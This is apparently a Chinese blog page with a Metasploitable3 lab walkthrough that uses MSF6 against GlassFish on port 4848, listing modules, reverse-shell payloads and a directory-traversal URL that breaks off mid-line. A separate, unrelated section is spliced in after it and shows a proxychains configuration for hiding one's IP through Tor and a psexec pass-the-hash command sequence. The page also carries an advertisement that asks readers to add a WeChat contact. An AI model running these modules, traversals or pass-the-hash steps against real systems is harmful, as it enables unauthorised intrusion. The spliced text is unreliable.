metasploitable3靶场渗透使用msf6实操(按照官方文档端口顺序(完整)_msf6怎么用

本文详细介绍了如何使用MSF6针对Metasploitable3靶场进行渗透测试,涵盖4848端口的Glassfish、8282端口的Apache Struts和Tomcat等多个端口和应用的漏洞利用过程,包括利用MSF模块、其他工具以及手动方法。此外,还分享了完整的官方文档操作步骤和网络安全学习资料。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

原因:看了很多文章,打metasploitable3,有用漏扫扫一堆漏洞,然后自动化攻击,完了。要么是打某一个漏洞,说是A漏洞,打着打着,是在利用B漏洞,最后说成功了。还有打A漏洞,用B漏洞打开个文件(这是个靶机某个应用启动的配置文件,而且这个配置文件和A没有任何关系,并且必须有账号密码),说知道账号密码了。完了,自己搞的A漏洞是个啥也扔一边去了。为了减少小白们(我也是)被带偏了,我们就按官方的走一遍。

目标:了解漏洞及使用MSF6及其他部分工具的方式。

4848端口(glassfish)

CVE-2011-0807
  glassfish
  注意:模块的使用似乎一直不能成功,使用了冰蝎。反正给了账号密码,假装破解一下,最后shell达到目的就可以。
  靶机实例和操作
  漏洞cve-2011-0807

模块及作用、流程
      auxiliary/scanner/http/glassfish_login     一个后台账号密码的爆破模块。GITHUB已告知账号密码 admin sploit。
  登录后台可知是glassfish 4.0版本
   
   exploits/multi/http/glassfish_deployer  (失败)
  用windwos,linux并使用glassfish官方glashfish4只搭建glashfish4,都是在上传成功后执行阶段最后无法建立连接,看了glassfish的日志,总是被服务器扔了(系统日志可见上传,搭建,但最后失败被扔,提示有参数没有设置)。give up
   使用过的payload
   linux/x64/meterpreter/reverse_tcp
   linux/x64/meterpreter_reverse_tcp
   java/shell/reverse_tcp
   java/meterpreter/reverse_tcp

其他测试(非msf):
  使用了冰蝎
 1、任意文件的读取(漏洞存在的测试)
 GlassFish漏洞成因:java语义中会把"%c0%ae"解析为"\uC0AE",最后转译为ASCCII字符的"."(点)。
  直接访问 https://xxx:4848/theme/META-INF/%c0%ae%c0%ae/%c0

### 关于红日靶场MSF使用方法 #### 配置环境 在使用 Metasploit Framework (MSF) 进行渗透测试之前,通常需要确保 Kali Linux 中的相关工具已正确配置。例如,在某些网络环境中可能需要用到 `proxychains` 来通过代理访问目标系统[^2]。 以下是 `/etc/proxychains4.conf` 文件的一个典型配置示例: ```bash strict_chain proxy_dns remote_dns_subnet 224 tcp_read_time_out 15000 tcp_connect_time_out 8000 localnet 127.0.0.0/255.0.0.0 [ProxyList] socks5 127.0.0.1 9050 ``` 此配置允许用户通过本地运行的 SOCKS5 代理(如 Tor 默认端口 9050)转发流量,从而隐藏真 IP 地址并绕过防火墙限制。 #### 利用 psexec 模块执行哈希传递攻击 对于 Windows Server 2008 的哈希传递攻击,可以利用 MSF 提供的 `exploit/windows/smb/psexec` 模块完成作。具体流程如下: - **设置目标地址**: 将 RHOST 参数指定为目标主机的 IP 地址。 - **提供 NTLM 哈希值**: 如果已经获取到用户的 NTLM 密码散列,则可以通过 SMB 协议验证身份而无需明文密码。 - **加载辅助模块**: 可能还需要额外加载一些支持脚本来增强功能或者解决兼容性问题[^1]。 下面是一个简单的命令序列用于启动该漏洞利用过程: ```ruby use exploit/windows/smb/psexec set RHOST <target_ip> set SMBUser administrator set SMBPass <ntlm_hash> # 此处输入NTLM hash而非际密码 run ``` 这段 Ruby 脚本会尝试连接至远程服务器上的服务管理器进程,并借助合法账户凭证创建一个新的交互式 shell session。 #### 注意事项 尽管上述技术非常强大且广泛应用于授权的安全评估活动中,请始终遵循当地法律法规以及客户许可协议条款来开展任何类型的网络安全研究工作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值